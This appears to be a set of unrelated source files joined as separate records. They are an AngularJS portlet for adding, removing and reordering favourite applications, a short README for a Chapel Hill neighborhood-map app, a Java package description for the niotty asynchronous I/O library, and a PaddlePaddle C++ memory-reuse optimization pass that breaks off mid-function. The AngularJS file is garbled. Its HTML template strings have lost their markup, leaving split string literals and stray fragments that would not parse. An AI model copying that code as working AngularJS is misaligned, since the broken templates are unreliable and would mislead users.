text:
catAppPortlet = function (appName, resourceURL, actionURL, containerURL, withFavs) {

    var app = angular.module(appName, ['ui.bootstrap', 'ui.sortable', 'ngSanitize']);

    app.controller('AppList2Ctrl', function ($scope, $http, FavorisService) {

        'use strict';

        $scope.alerts = [];
        $scope.applications = [];
        $scope.prefs = [];
        $scope.contUrl = encodeUrl(containerURL);
        $scope.withFavs = withFavs;
        $http
            .get(url(encodeUrl(resourceURL), 'favapps')).success(function (data) {
                angular.forEach(data.apps, function (appli) {
                    var favori = FavorisService.create(appli, false);
                    $scope.applications.push(favori);
                    $scope.prefs.push(appli.code);
                    appli.choosen = true;
                });
                angular.forEach(data.noAccessApps, function (appli) {
                    $scope.applications.push(FavorisService.create(appli, true));
                    $scope.prefs.push(appli.code);
                    appli.choosen = true;
                });
            });

        $scope.getTarget = function (appli) {
            var appTarget;
            if (appli.url.toLowerCase().indexOf($scope.contUrl) >= 0) {
                appTarget = "_self";
            } else {
                appTarget = "_blank";
            }
            return appTarget;
        }

        $scope.delFromFav = function (idx) {
            var delApp = $scope.applications[idx];
            $scope.prefs = FavorisService.delete(delApp.code, $scope.prefs);
            delApp.choosen = false;
            $scope.applications.splice(idx, 1);
            $scope.updateFavorite();
        };

        $scope.addFav = function (appli) {
            var favTodd = FavorisService.find(appli.code, $scope.prefs);
            if (!angular.isUndefined(favTodd) || favTodd != null) {
                $scope.alerts.push({type: 'danger', msg: "L'application " + appli.code + " est déjà dans les favoris"});
            } else {
                $scope.applications.push(FavorisService.create(appli, false));
                $scope.prefs.push(appli.code);
                appli.choosen = true;
                $scope.updateFavorite();
                $scope.alerts.push({type: 'success', msg: "L'application " + appli.code + " a été ajoutée aux favoris"});
            }
            setTimeout(function() {
                $(".alert").fadeOut("slow");
                $scope.alerts = [];
            }, 1000)
        };

        $scope.enableEdit = function (item) {
            item.editable = true;
        };

        $scope.disableEdit = function (item) {
            item.editable = false;
        };

        $scope.updateFavorite =  function ()  {
            $http
                .get(actUrl(encodeUrl(actionURL), 'updateFavorite', $scope.prefs.join(",")));
        };

        $http
            .get(url(encodeUrl(resourceURL), 'doms')).success(function (data) {
                $scope.domaines = data.doms;
            });

        $http
            .get(url(encodeUrl(resourceURL), 'allowedapps')).success(function (data) {
                $scope.allApplications = data.allowedapps;
            });

        $scope.sortableOptions = {
            items: '> li',
            cursor: 'move',
            helper: 'clone',
            opacity: 1,
            // called after a node is dropped
            stop: function() {
                var tmpList = [];
                angular.forEach($scope.applications, function (appli) {
                    tmpList.push(appli.code);
                });
                $scope.prefs = tmpList;
                $scope.updateFavorite();
            }
        };

    });

    app.service('FavorisService', function () {
        //save method create a new favori
        this.create = function (appli, removed) {
            var target;
            if (appli.url.toLowerCase().indexOf(encodeUrl(containerURL)) >= 0) {
                target = "_self";
            } else {
                target = "_blank";
            }
            return {
                "code": appli.code,
                "title": appli.title,
                "caption": appli.caption,
                "description": appli.description,
                "url": appli.url,
                "acces": appli.activation,
                "state": removed,
                "target": target
            };
        }

        //simply search favoris list for given id
        //and returns the contact object if found
        this.find = function (code, favoris) {
            for (i in favoris) {
                if (favoris[i] === code) {
                    return favoris[i];
                }
            }
        }

        //iterate through favoris list and delete
        //contact if found
        this.delete = function (code, favoris) {
            for (i in favoris) {
                if (favoris[i] == code) {
                    favoris.splice(i, 1);
                }
            }
            return favoris;
        }
    });

    app.directive('domaine', function ($compile, $timeout) {
        return {
            restrict: "E",
            replace: true,
            scope: {
                member: '=',
                addFav: '&',
                enableEdit: '&',
                disableEdit: '&',
                prefs: '=',
                getTarget: '&'
            },
            link: function (scope, element, attrs) {
                if ((scope.member.subDomains.length > 0)) {
                    element.append("{{member.domain.caption}}

" +
                        "<domaine member='domaine' add-fav='addFav()' enable-edit='enableEdit()' disable-edit='disableEdit()' prefs='prefs' get-target='getTarget()'></domaine>

");
                    $compile(element.contents())(scope)
                } else {
                    element.append("{{member.domain.caption}}");
                }
                if ((scope.member.domain.applications.length > 0)) {
                    element.append("
<application ng-repeat='member in member.domain.applications'  " +
                                   "member='member' add-fav='addFav()' enable-edit='enableEdit()' disable-edit='disableEdit()' prefs='prefs' get-target='getTarget()'>" +
                                   "</application>
");
                    $compile(element.contents())(scope)
                }
            }
        }
    });

    app.directive('application', function () {
        return {
            restrict: "E",
            replace: true,
            scope: {
                    member: '=',
                    addFav: '&',
                    enableEdit: '&',
                    disableEdit: '&',
                    prefs: '=',
                    getTarget: '&'
            },
            template:"" +
                "
"+
                    ""+
                    ""+
                        " -1}\" class=\"fa fa-lg text-warning pull-left\">" +
                    ""+
                    "{{member.title}}"+
                    "{{member.title}}"+
                    "
"+
                        "
" +
                            "Description de l'application"+
                            "
"+
                                ""+
                            "
" +
                        "
"+
                        "
" +
                            "L'application est provisoirement indisponible"+
                            "" +
                        "
"+
                    "
"+
                "
",
            link: function (scope, element, attrs) {
                scope.isActive = function() {
                    return scope.member.activation === 'Activated'
                };

                scope.target = scope.getTarget()(scope.member);

                scope.pushapp = function () {
                        scope.addFav()(scope.member);
                };
                scope.enable = function () {
                    scope.enableEdit()(scope.member);
                };
                scope.disable = function () {
                    scope.disableEdit()(scope.member);
                };
            }
        }
    });
};

// ************* utils *************

function encodeUrl(requestUrl) {
    return requestUrl.
        replace(/%40/gi, '@').
        replace(/%3A/gi, ':').
        replace(/%24/g, '$').
        replace(/%2C/gi, ',');
}

//forge a portlet resource url
function url(pattern, id, p1, p2, p3, p4) {
    var pattern2 = pattern.
        replace("@@id@@", id)
        .replace("__p1__", p1)
        .replace("__p2__", p2)
        .replace("__p3__", p3)
        .replace("__p4__", p4);
    return pattern2;
}

//forge a portlet resource url
function actUrl(pattern, action, p1, p2, p3) {
    var pattern2 = pattern.
        replace("@@id@@", action)
        .replace("__p1__", p1)
        .replace("__p2__", p2)
        .replace("__p3__", p3);
    return pattern2;
}


text:
link: http://tytanic.github.io/neighborhood-map/index.html

This is a Single Page App that starts with a prepopulated list of resturants, bars, cafe's, etc. within Chapel Hill, NC.

The user can search for other places by keyword (food shops, fast food, etc.) or for a specific place.

The list and markers will update on search with information on all places within the search area.

Click on an item in the list to view more information from the Foursquare API such as Name, Phone Number, and Twitter handle.

redpajama_set_name: RedPajamaGithub


text:
/**
 * Provides the core API to handle I/O operation asynchronously.
 *
 *
Transport, Stage and Pipeline

 * {@link net.ihiroky.niotty.Transport} is the abstraction of I/O operations
 * such as read, write, connect, close and etc. The {@code Transport} receives
 * and sends message (user data) through {@link net.ihiroky.niotty.Pipeline}
 * and passes the processed (serialized) data to the I/O thread associated with
 * the {@code Transport}. The read and write are asynchronous.
 * The read operation is invoked in the dedicated I/O threads associated with
 * the {@code Transport}. The read message is processed by the
 * {@link net.ihiroky.niotty.Pipeline} which consists of {@link net.ihiroky.niotty.Stage}s.
 * User defined {@code Stage}s may be included to receive the message.
 * The write operation is invoked in user codes through the {@code Transport}.
 * The write message is processed by the {@link net.ihiroky.niotty.Pipeline}
 * which consists of {@link net.ihiroky.niotty.Stage}s. At last, the message
 * is passed into the I/O threads. The other operations may be asynchronous
 * depending on the {@code Transport} implementation.
 *

 * The pipelines processes not only messages but also the transport state.
 * If the state of the {@code Transport} is changed, listener methods
 * in {@link net.ihiroky.niotty.Stage} is called in the I/O threads;
 * {@link net.ihiroky.niotty.Stage#activated(net.ihiroky.niotty.StageContext)}
 * (when the transport gets readable),
 * {@link net.ihiroky.niotty.Stage#deactivated(net.ihiroky.niotty.StageContext, DeactivateState)}
 * (when the transport gets closed),
 * {@link net.ihiroky.niotty.Stage#exceptionCaught(net.ihiroky.niotty.StageContext, Exception)}
 * (when an exception occurs on I/O operation).
 *
 *
EventDispatcher and EventDispatcherGroup

 * {@link net.ihiroky.niotty.EventDispatcher} consists of a queue to receive
 * {@link net.ihiroky.niotty.Event} and a thread to execute the {@code Event}
 * and its own processing implemented by its sub type.
 * {@link net.ihiroky.niotty.EventDispatcherGroup} manages the {@code EventDispatcher} instances
 * and registers objects which are processed by the {@code EventDispatcher} with it.
 * Once the object is registered with the object, it is processed by the
 * thread {@code EventDispatcher} until unregistered.
 *
 *
Processor

 * {@link net.ihiroky.niotty.Processor} manages the {@code Transport} and the I/O threads.
 * To create an instance of {@code Transport}, use {@code Transport} factory method of {@code Processor}.
 */
package net.ihiroky.niotty;


text:
// Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

#include "paddle/fluid/inference/analysis/passes/memory_optimize_pass.h"
#include <algorithm>
#include <fstream>
#include <functional>
#include <limits>
#include <map>
#include <set>
#include <string>
#include <type_traits>
#include <utility>
#include <vector>
#include "paddle/fluid/framework/ir/graph_helper.h"
#include "paddle/fluid/framework/ir/graph_pattern_detector.h"
#include "paddle/fluid/framework/ir/graph_to_program_pass.h"
#include "paddle/fluid/framework/ir/graph_traits.h"
#include "paddle/fluid/inference/analysis/helper.h"
#include "paddle/fluid/inference/api/helper.h"
#include "paddle/fluid/string/pretty_log.h"

namespace paddle {
namespace inference {
namespace analysis {

using framework::ir::Graph;
using framework::ir::Node;
using framework::ir::TopologyVarientSort;
using space_table_t = MemoryOptimizePass::space_table_t;

typedef struct {
  std::string name;
  size_t size;
  int cluster;
  std::pair<int, int> lifetime;
  std::unordered_set<std::string> adj;
} MemNode;

// Collect the lifecycles of the tensors.
// Traverse the graph in topological order.
// The traversal order also affect the lifecycles, so different sort_kind is
// used.
void MemoryOptimizePass::CollectLifeCycle(
    std::unordered_map<std::string, lifecycle_t>* lifecycles,
    int sort_kind) const {
  max_lifecycle_ = 0;
  for (auto* op_node : framework::ir::TopologyVarientSort(
           *graph_, static_cast<framework::ir::SortKind>(sort_kind))) {
    if (!op_node->IsOp()) continue;
    auto reads = op_node->inputs;
    auto writes = op_node->outputs;

    std::vector<Node*> requires(reads.begin(), reads.end());
    requires.insert(requires.end(), writes.begin(), writes.end());

    // Disable reuse of feed variables.
    if (op_node->Name() == "feed") {
      for (auto* node : op_node->outputs) {
        auto var = node->Name();
        lifecycles->emplace(var,
                            std::make_pair(0, std::numeric_limits<int>::max()));
      }
    } else {
      // Normal operators.
      for (const Node* node : requires) {
        if (node->Var()->Persistable()) continue;
        std::string var = node->Name();
        if (!lifecycles->count(var)) {
          (*lifecycles)[var] = std::make_pair(max_lifecycle_, max_lifecycle_);
        } else {
          (*lifecycles)[var].second =
              std::max(max_lifecycle_, lifecycles->at(var).second);  // max()
        }
      }
    }

    ++max_lifecycle_;
  }
}

// TODO(Superjomn) Make this a general help method.
int DataTypeToSpace(framework::proto::VarType_Type type) {
  switch (type) {
    case framework::proto::VarType_Type_BOOL:
      return sizeof(bool);
    case framework::proto::VarType_Type_FP32:
      return sizeof(float);
    case framework::proto::VarType_Type_INT32:
      return sizeof(int32_t);
    case framework::proto::VarType_Type_INT64:
      return sizeof(int64_t);
    case framework::proto::VarType_Type_INT16:
      return sizeof(int16_t);
    case framework::proto::VarType_Type_FP16:
      return sizeof(int16_t);
    case framework::proto::VarType_Type_FP64:
      return sizeof(double);
    case framework::proto::VarType_Type_UINT8:
      return sizeof(unsigned char);
    case framework::proto::VarType_Type_INT8:
      return sizeof(int8_t);
    default:
      PADDLE_THROW("Unknown data type");
  }
}

void MemoryOptimizePass::CollectVarMemorySize(
    space_table_t* space_table) const {
  const int fake_batch_size = 1;

  auto valid_var = [&](framework::ir::Node* node) -> bool {
    std::set<std::string> invalid_op = {"while",
                                        "conditional_block",
                                        "tensorrt_engine",
                                        "conditional_block_infer",
                                        "merge_lod_tensor_infer",
                                        "merge_lod_tensor",
                                        "equal",
                                        "lod_reset"};
    for (auto* tmp : node->inputs) {
      CHECK(tmp->IsOp());
      std::string op_type = tmp->Op()->Type();
      if (std::find(invalid_op.begin(), invalid_op.end(), op_type) !=
          invalid_op.end()) {
        return false;
      }
    }
    for (auto* tmp : node->outputs) {
      CHECK(tmp->IsOp());
      std::string op_type = tmp->Op()->Type();
      if (std::find(invalid_op.begin(), invalid_op.end(), op_type) !=
          invalid_op.end()) {
        return false;
      }
    }
    return true;
  };
  // Collect tensors from graph.
  for (auto* node : graph_->Nodes()) {
    if (node->IsVar() &&
        node->Var()->GetType() ==
            framework::proto::VarType::Type::VarType_Type_LOD_TENSOR &&
        valid_var(node)) {
      // Parameters will not be reused.
      if (node->Var()->Persistable()) continue;
      auto shape = node->Var()->GetShape();
      for (auto& v : shape) {
        if (v < 0) v = fake_batch_size;
      }

      int size = std::accumulate(shape.begin(), shape.end(), 1,
                                 std::multiplies<int>());
      (*space_table)[node->Var()->Name()] =
          size * DataTypeToSpace(node->Var()->GetDataType());
    }
  }
}

void MakeSimpleReusePlan(
    const std::unordered_map<std::string, std::pair<int, int>>& lifecycles,
    const std::unordered_map<std::string, size_t>& space_table,
    std::unordered_map<std::string, std::string>* node2cluster,
    std::unordered_map<std::string, int>* cluster_size) {
  std::vector<MemNode> mem_nodes;
  for (auto& data : lifecycles) {
    if (!space_table.count(data.first)) continue;
    MemNode temp_node;
    temp_node.name = data.first;
    temp_node.size = space_table.at(data.first);
    temp_node.cluster = -1;
    temp_node.lifetime = data.second;
    mem_nodes.push_back(temp_node);
  }
  auto overlap = [](std::pair<int, int> a, std::pair<int, int> b) -> bool {
    return b.second >= a.first && a.second >= b.first;
  };
  // If the lifetime of two nodes is overwritten, we set them as adjacent nodes.
  for (size_t i = 0; i < mem_nodes.size(); i++) {
    for (size_t j = i + 1; j < mem_nodes.size(); j++) {
      if (overlap(mem_nodes[i].lifetime, mem_nodes[j].lifetime)) {
        mem_nodes[i].adj.insert(mem_nodes[j].name);
        mem_nodes[j].adj.insert(mem_nodes[i].name);
      }
    }
  }

  // Sort the nodes according to the node memory size.
  auto sort_func = [](MemNode a, MemNode b) { return a.size > b.size; };
  std::sort(mem_nodes.begin(), mem_nodes.end(), sort_func);

  // Generating Memory Reuse Strategy Based on Greedy Way
  for (size_t i = 0; i < mem_nodes.size(); i++) {
    if (mem_nodes[i].cluster >= 0) continue;
    int cluster_index = cluster_size->size();
    mem_nodes[i].cluster = cluster_index;
    (*cluster_size)[mem_nodes[i].name] = mem_nodes[i].size;
    (*node2cluster)[mem_nodes[i].name] = mem_nodes[i].name;
    std::unordered_set<std::string> cluster_adj = mem_nodes[i].adj;
    for (size_t j = i + 1; j < mem_nodes.size(); j++) {
      if (mem_nodes[j].cluster < 0 &&
          (cluster_adj.find(mem_nodes[j].name) == cluster_adj.end())) {
        (*node2cluster)[mem_nodes[j].name] = mem_nodes[i].name;
        mem_nodes[j].cluster = cluster_index;
        for (auto& n : mem_nodes[j].adj) {
          cluster_adj.insert(n);
        }
      }
    }
  }
  for (auto& cluster : *cluster_size) {
    LOG(INFO) << "Cluster name : " << cluster.first
              << "  size: " << cluster.second;
  }
}

// Collect the memory size of the tensors.
void MemoryOptimizePass::CollectVarMemorySize(
    const std::unordered_map<std::string, size_t>& batch_var_ave_dim,
    std::unordered_map<std::string, Node*>* tensor_nodes,
    space_table_t* space_table) const {
  // Collect tensors from graph.
  for (auto* node : graph_->Nodes()) {
    if (node->IsVar() &&
        node->Var()->GetType() ==
            framework::proto::VarType::Type::VarType_Type_LOD_TENSOR) {
      // Parameters will not be reused.
      if (node->Var()->Persistable()) continue;
      (*tensor_nodes)[node->Name()] = node;
      (*space_table)[node->Name()] =
          DataTypeToSpace(node->Var()->GetDataType()) *
          batch_var_ave_dim.at(node->Name());
    }
  }
}

// Find a sutable (big enough but smallest to avoid memory waste).
//
// Args:
// @tensor_nodes: the tensor nodes in the ir::Graph.
// @free_existing_tensors: the allocated tensor and are free.
// @space_table: the memory space of tensors.
// @tensor2use: the tensor that requires memory.
//
// Returns:
// true if found some existing tensor to reuse.
// false if no sutable tensor to reuse, one need to allocate a new tensor for
// this requirement.
// The suitable tensor for reuse is one that is approximately equal to the
// memory demand.
bool FindSuitableTensorToReuse(
    const std::string& tensor, int space_required,
    const std::unordered_map<std::string, Node*>& tensor_nodes,
    std::unordered_set<std::string>* free_existing_tensors,
    const space_table_t& space_table,
    const std::vector<std::unordered_set<std::string>>& var_clusters,
    std::string* tensor2use) __SHOULD_USE_RESULT__;

bool FindSuitableTensorToReuse(
    const std::string& tensor, int space_required,
    const std::unordered_map<std::string, Node*>& tensor_nodes,
    std::unordered_set<std::string>* free_existing_tensors,
    const space_table_t& space_table,
    const std::vector<std::unordered_set<std::string>>& var_clusters,
    std::string* tensor2use) {
  std::pair<std::string, size_t> best_fit;
  best_fit.second = std::numeric_limits<int>::max();
  VLOG(5) << "Split Tensors to " << var_clusters.size() << " clusters";

  // find the cluster this var belongs to.
  const std::unordered_set<std::string>* cluster = nullptr;
  for (const auto& c : var_clusters) {
    if (c.count(tensor)) {
      cluster = &c;
      break;
    }
  }
  PADDLE_ENFORCE_NOT_NULL(cluster,
                          "something wrong in memory optimization, the "
                          "variable %s not in the clusters.",
                          tensor);

  for (auto& candidate : *free_existing_tensors) {
    // This is not a temporary tensor.
    if (!space_table.count(candidate)) continue;
    // Not in the same cluster.
    if (!cluster->count(candidate)) continue;

    size_t space = space_table.at(candidate);
    PADDLE_ENFORCE(
        space <= std::numeric_limits<std::make_signed<size_t>::type>::max(),
        "space overload");
    size_t space_diff =
        std::abs((std::make_signed<size_t>::type)space - space_required);
    if (space_diff < best_fit.second) {
      best_fit.first = candidate;
      best_fit.second = space_diff;
    }
  }

  if (best_fit.second < std::numeric_limits<int>::max()) {
    *tensor2use = best_fit.first;
    return true;
  }
  return false;
}

// Allocate new tensor instead of reusing the existing one.
void AllocateNewTensor(
    const std::string& name, size_t space_required,
    const std::unordered_map<std::string, Node*>& tensor_nodes,
    std::unordered_set<std::string>* free_existing_tensors,
    space_table_t* space_table,
    std::unordered_map<std::string, std::string>* reuse_table) {
  // The newly born tensor is free to be used.
  free_existing_tensors->insert(name);
  // Register the space it has.
  PADDLE_ENFORCE(space_table->count(name));
  space_table->at(name) = std::max(space_table->at(name), space_required);
  // The allocated new tensor use the memory of itself.
  (*reuse_table)[name] = name;
}

// Free a tensor and make it resuable.
// @tensor: the tensor to free.
// @free_existing_tensors: the free and allocated tensors.
// @reuse_table: a map from a fake tensor to the existing allocated tensor.
void FreeATensor(const std::string& tensor,
                 std::unordered_set<std::string>* free_existing_tensors,
                 std::unordered_map<std::string, std::string>* reuse_table) {
  if (tensor == "feed" || tensor == "fetch") return;
  // the really allocated tensor.
  const auto& free_tensor = reuse_table->at(tensor);

  free_existing_tensors->insert(free_tensor);
}

// Reuse a free existing tensor.
void ReuseATensor(const std::string& tensor, const std::string& tensor2reuse,
                  size_t memory_size,
                  std::unordered_set<std::string>* free_existing_tensors,
                  std::unordered_map<std::string, std::string>* reuse_table,
                  space_table_t* reused_space_table) {
  auto it = free_existing_tensors->find(tensor2reuse);
  PADDLE_ENFORCE(it != free_existing_tensors->end());
  free_existing_tensors->erase(it);
  (*reuse_table)[tensor] = tensor2reuse;
  // Update the memory size of a reused tensor, the memory will grow if the
  // required memory is larger.
  (*reused_space_table)[tensor2reuse] =
      std::max(reused_space_table->at(tensor2reuse), memory_size);
}

// Calculate the memory usage.
void EvaluateMemoryUsage(
    const std::unordered_map<std::string, std::string>& reuse_table,
    const space_table_t& space_table,
    const std::unordered_map<std::string, size_t>& var_batch_ave_size,
    size_t* allocated, size_t* saved) {
  *allocated = 0;
  *saved = 0;

  for (auto elem : reuse_table) {
    if (elem.first == elem.second) {
      *allocated += space_table.at(elem.first);
      VLOG(4) << elem.first << " <-> " << elem.second << " "
              << space_table.at(elem.first) << " "
              << space_table.at(elem.second);
    } else {
      *saved += space_table.at(elem.first);
      VLOG(4) << "reuse " << elem.first << " -> " << elem.second;
    }
  }
  VLOG(4) << "allocated " << *allocated;
  VLOG(4) << "saved " << *saved;
}

// Return saved ratio.
void MemoryOptimizePass::MakeReusePlan(
    const std::vector<std::unordered_set<std::string>>& var_clusters,
    const std::unordered_map<std::string, size_t>& var_batch_ave_size,
    const space_table_t& space_table,
    std::unordered_map<std::string, std::string>* reuse_table, int sort_kind,
    MemoryAllocation* memory_allocation) const {
  // Clear the existing plan.
  reuse_table->clear();

  // The `space_table` stores the real memory size for each tensor.
  // The `reused_space_table` stores the maximum memory size required by a
  // tensor during the memory reusing, the small tensor might be reused by a
  // larger tensor, and the memory size of the small one will grow.
  auto reused_space_table = space_table;

  std::unordered_map<std::string, lifecycle_t> life_cycles;
  std::unordered_map<std::string, Node*> tensor_nodes;
  // The allocated tensors whose memory can be reused, they will live across the
  // program execution.
  std::unordered_set<std::string> existing_tensors;
  // The existing tensor that has been allocated, and is also free to reuse.
  std::unordered_set<std::string> free_existing_tensors;

  CollectLifeCycle(&life_cycles, sort_kind);

  for (int age = 0; age < max_lifecycle_; ++age) {
    std::unordered_set<std::string> born_tensors;
    std::unordered_set<std::string> dead_tensors;
    // Gather the dead and born tensors.
    for (auto elem_it = life_cycles.begin(); elem_it != life_cycles.end();
         elem_it++) {
      if (elem_it->second.first == -1) {
        continue;
      }
      const auto& tensor = elem_it->first;
      const auto& lifecycle = elem_it->second;
      VLOG(4) << "process " << tensor << " reuse " << lifecycle.first << "->"
              << lifecycle.second;

      // Collect newly born tensors.
      if (lifecycle.first == age) {
        born_tensors.insert(tensor);
      }
      // Collect dead tensors whose memory can be reused.
      else if (lifecycle.second < age) {  // NOLINT
        dead_tensors.insert(tensor);
        // remove to avoid duplicate process.
        elem_it->second.first = -1;  // avoid duplicate search
      }
    }

    // Reuse the dead tensors for born tensors
    for (const auto& tensor : born_tensors) {
      // Skip the feed and fetch tensor for that they share data with others.
      std::string tensor2reuse;
      if (!space_table.count(tensor)) continue;
      size_t space_required = space_table.at(tensor);
      if (FindSuitableTensorToReuse(tensor, space_required, tensor_nodes,
                                    &free_existing_tensors, reused_space_table,
                                    var_clusters, &tensor2reuse)) {
        if (tensor != tensor2reuse) {
          VLOG(4) << tensor << " -> " << tensor2reuse;
        }
        ReuseATensor(tensor, tensor2reuse, space_required,
                     &free_existing_tensors, reuse_table, &reused_space_table);
      } else {
        VLOG(4) << "allocate " << tensor;
        AllocateNewTensor(tensor, space_required, tensor_nodes,
                          &free_existing_tensors, &reused_space_table,
                          reuse_table);
        ReuseATensor(tensor, tensor, space_required, &free_existing_tensors,
                     reuse_table, &reused_space_table);
      }
    }

    for (const auto& tensor : dead_tensors) {
      // free its memory.
      FreeATensor(tensor, &free_existing_tensors, reuse_table);
    }
  }

  EvaluateMemoryUsage(*reuse_table, reused_space_table, var_batch_ave_size,
                      &(memory_allocation->allocated),
                      &(memory_allocation->saved));
  memory_allocation->sort_kind = sort_kind;
}

void BuildVarNodeTable(Graph* graph,
                       std::unordered_map<std::string, Node*>* var_node_table) {
  for (auto* node : graph->Nodes()) {
    if (node->IsVar()) {
      (*var_node_table)[node->Name()] = node;
    }
  }
}

// NOTE The optimized opdesc doesn't match ir::Graph.
void UpdateOpDescsByReuse(
    Graph* graph,
    const std::unordered_map<std::string, std::string>& reuse_table,
    int sort_kind) {
  // TODO(Superjomn) change here to be compatible with the runtime order.
  for (auto* node : TopologyVarientSort(
           *graph, static_cast<framework::ir::SortKind>(sort_kind))) {
    if (node->IsOp()) {
      // Replace the original inputs/outputs with the reused tensors.
      std::unordered_map<std::string, std::vector<std::string>> in_args,
          out_args;
      for (auto argument : node->Op()->Inputs()) {
        for (const auto& x : argument.second) {
          auto name = x;
          if (reuse_table.count(x) && reuse_table.at(x) != x) {
            name = reuse_table.at(x);
          }
          in_args[argument.first].push_back(name);
          VLOG(4) << node->Name() << " input " << x << " -> " << name;
        }
      }

      // modify the graph
      for (auto input_node : node->inputs) {
        PADDLE_ENFORCE(input_node->IsVar());
        std::string input_node_name = input_node->Name();
        if (reuse_table.count(input_node_name) &&
            reuse_table.at(input_node_name) != input_node_name) {
          auto name = reuse_table.at(input_node_name);
          input_node->RenameVar(name);
        }
      }

      for (auto argument : node->Op()->Outputs()) {
        for (const auto& x : argument.second) {
          auto name = x;
          if (reuse_table.count(x) && reuse_table.at(x) != x) {
            name = reuse_table.at(x);
          }
          out_args[argument.first].push_back(name);
          VLOG(4) << node->Name() << " output " << x << " -> " << name;
        }
      }

      // modify the graph
      for (auto out_node : node->outputs) {
        PADDLE_ENFORCE(out_node->IsVar());
        std::string out_node_name = out_node->Name();
        if (reuse_table.count(out_node_name) &&
            reuse_table.at(out_node_name) != out_node_name) {
          auto name = reuse_table.at(out_node_name);
          out_node->RenameVar(name);
        }
      }

      // Update arguments.
      for (auto& arg : in_args) {
        node->Op()->SetInput(arg.first, arg.second);
      }
      for (auto& arg : out_args) {
        node->Op()->SetOutput(arg.first, arg.second);
      }
      node->Op()->Flush();
    }
  }
}

void MemoryOptimizePass::PerformReusePlan(
    const std::unordered_map<std::string, std::string>& reuse_table,
    int sort_kind, std::unordered_set<std::string>* vars2remove) const {
  std::unordered_map<std::string, Node*> var_node_table;
  BuildVarNodeTable(graph_, &var_node_table);
  UpdateOpDescsByReuse(graph_, reuse_table, sort_kind);

  for (auto& item : reuse_table) {
    if (item.first != item.second) {
      vars2remove->insert(item.first);
    }
  }
  VLOG(2) << "to remove vars " << vars2remove->size();
}

std::vector<std::string> split(const std::string& line, char delim) {
  std::vector<std::string> res;
  std::string field;
  std::stringstream line_stream(line);
  while (std::getline(line_stream, field, delim)) {
    res.emplace_back(field);
  }
  return res;
}

// Deserialize the batch var shapes from the cache file.
std::vector<std::map<std::string, std::vector<int>>> DeseralizeBatchVarShapes(
    const std::string& path) {
  std::ifstream file(path);
  PADDLE_ENFORCE(file.is_open(), "failed to open %s  to read cache", path);
  std::string line;
  std::vector<std::map<std::string, std::vector<int>>> batch_shapes;

  while (std::getline(file, line)) {
    std::map<std::string, std::vector<int>> batch;
    for (const auto& var_info : split(line, ';')) {
      auto fields = split(var_info, ':');
      PADDLE_ENFORCE_EQ(fields.size(), 2UL);
      auto var_name = fields.front();
      auto shape_str = split(fields[1], ',');
      std::vector<int> shape;
      for (const auto& v : shape_str) shape.push_back(std::stoi(v));
      batch[var_name] = shape;
    }
    batch_shapes.push_back(batch);
  }
  return batch_shapes;
}

// Replace the -1 in shape to a real number to fake the shape.
std::vector<std::map<std::string, std::vector<int>>> FakeBatchVarShapes(
    const framework::ProgramDesc& program) {
  std::vector<std::map<std::string, std::vector<int>>> res;
  res.emplace_back();
  auto& record = res.front();
  const int fake_batch_size = 3;
  for (auto* var : program.Block(0).AllVars()) {
    if (var->GetType() ==
        framework::proto::VarType::Type::VarType_Type_LOD_TENSOR) {
      auto shape = var->GetShape();
      for (auto& v : shape) {
        if (v < 0) v = fake_batch_size;
      }
      record[var->Name()].assign(shape.begin(), shape.end());
    }
  }
  return res;
}

// Calculate the average dim of each tensor from the batch shape cache.
std::unordered_map<std::string, size_t> GetBatchAverageSize(
    const std::vector<std::map<std::string, std::vector<int>>>& batches) {
  std::unordered_map<std::string, size_t> var2size;
  // The average size of the batches for each variable.
  int num_batch = 0;
  for (const auto& batch : batches) {
    num_batch++;
    for (const auto& item : batch) {
      int dim = std::accumulate(item.second.begin(), item.second.end(), 1,
                                [](int a, int b) { return a * b; });
      var2size[item.first] += dim;
    }
  }

  for (auto& item : var2size) {
    item.second /= num_batch;
  }

  return var2size;
}

// Analysis the batch shapes loading from the cache file.
// By splitting the variables to different clusters by analyzing their batch
// size, we can pre-schedule the changes of difference LoDTensor when different
// length of input sequences is entered.
// This should works fine for the models operating on sentences.
std::vector<std::unordered_set<std::string>> AnalysisBatchShapesByBatchSize(
    const std::vector<std::map<std::string, std::vector<int>>>& batches) {
  // collect the batch size of each shape and combine to a stringstream in
  // converient to generate a hash.
  std::unordered_map<std::string, std::stringstream> var_batchsize_hashes;
  for (auto& batch : batches) {
    for (auto& ele : batch) {
      PADDLE_ENFORCE(!ele.second.empty());
      int batch_size = ele.second.front();
      // TODO(Superjomn) might consume large memory here, use combine hash.
      var_batchsize_hashes[ele.first] << batch_size;
    }
  }

  // Split to sets by batch size sequences.
  std::unordered_map<size_t /*hash*/, std::unordered_set<std::string>>
      shape_sets;
  for (auto& ele : var_batchsize_hashes) {
    auto hash = std::hash<std::string>()(ele.second.str());
    shape_sets[hash].insert(ele.first);
  }
  std::vector<std::unordered_set<std::string>> res;
  for (auto& ele : shape_sets) {
    res.emplace_back(std::move(ele.second));
  }

  VLOG(3) << "Cluster by batch_size and get " << res.size() << " clusters";
  return res;
}

// Analysis the batch shapes loading from the cache file, and split them to
// different clusters by their size.
// This should works fine for the overall models.
std::vector<std::unordered_set<std::string>> AnalysisBatchShapesBySimilarSize(
    const space_table_t& space_table,
    const std::vector<std::map<std::string, std::vector<int>>>& batches,
    int interval = 200000) {
  PADDLE_ENFORCE_GT(interval, 0);
  // cluster to different clusters.
  size_t max_size = 0;
  for (auto& item : space_table) {
    max_size = std::max(item.second, max_size);
  }
  VLOG(4) << "tensor max size " << max_size;

  std::vector<std::unordered_set<std::string>> res;

  // cluster by intervals.
  for (size_t interval_size = 0; interval_size <= max_size;
       interval_size += interval) {
    std::unordered_set<std::string> cluster;
    for (auto& item : space_table) {
      if (interval_size <= item.second &&
          interval_size + interval > item.second) {
        cluster.insert(item.first);
      }
    }
    if (!cluster.empty()) {
      res.push_back(cluster);
    }
  }

  VLOG(3) << "Cluster by interval and get " << res.size() << " cluster";
  return res;
}

std::string MemoryOptimizePass::repr() const { return "memory optimize pass"; }

std::pair<size_t, size_t> GetRange(
    const std::unordered_map<std::string, size_t>& ave_size) {
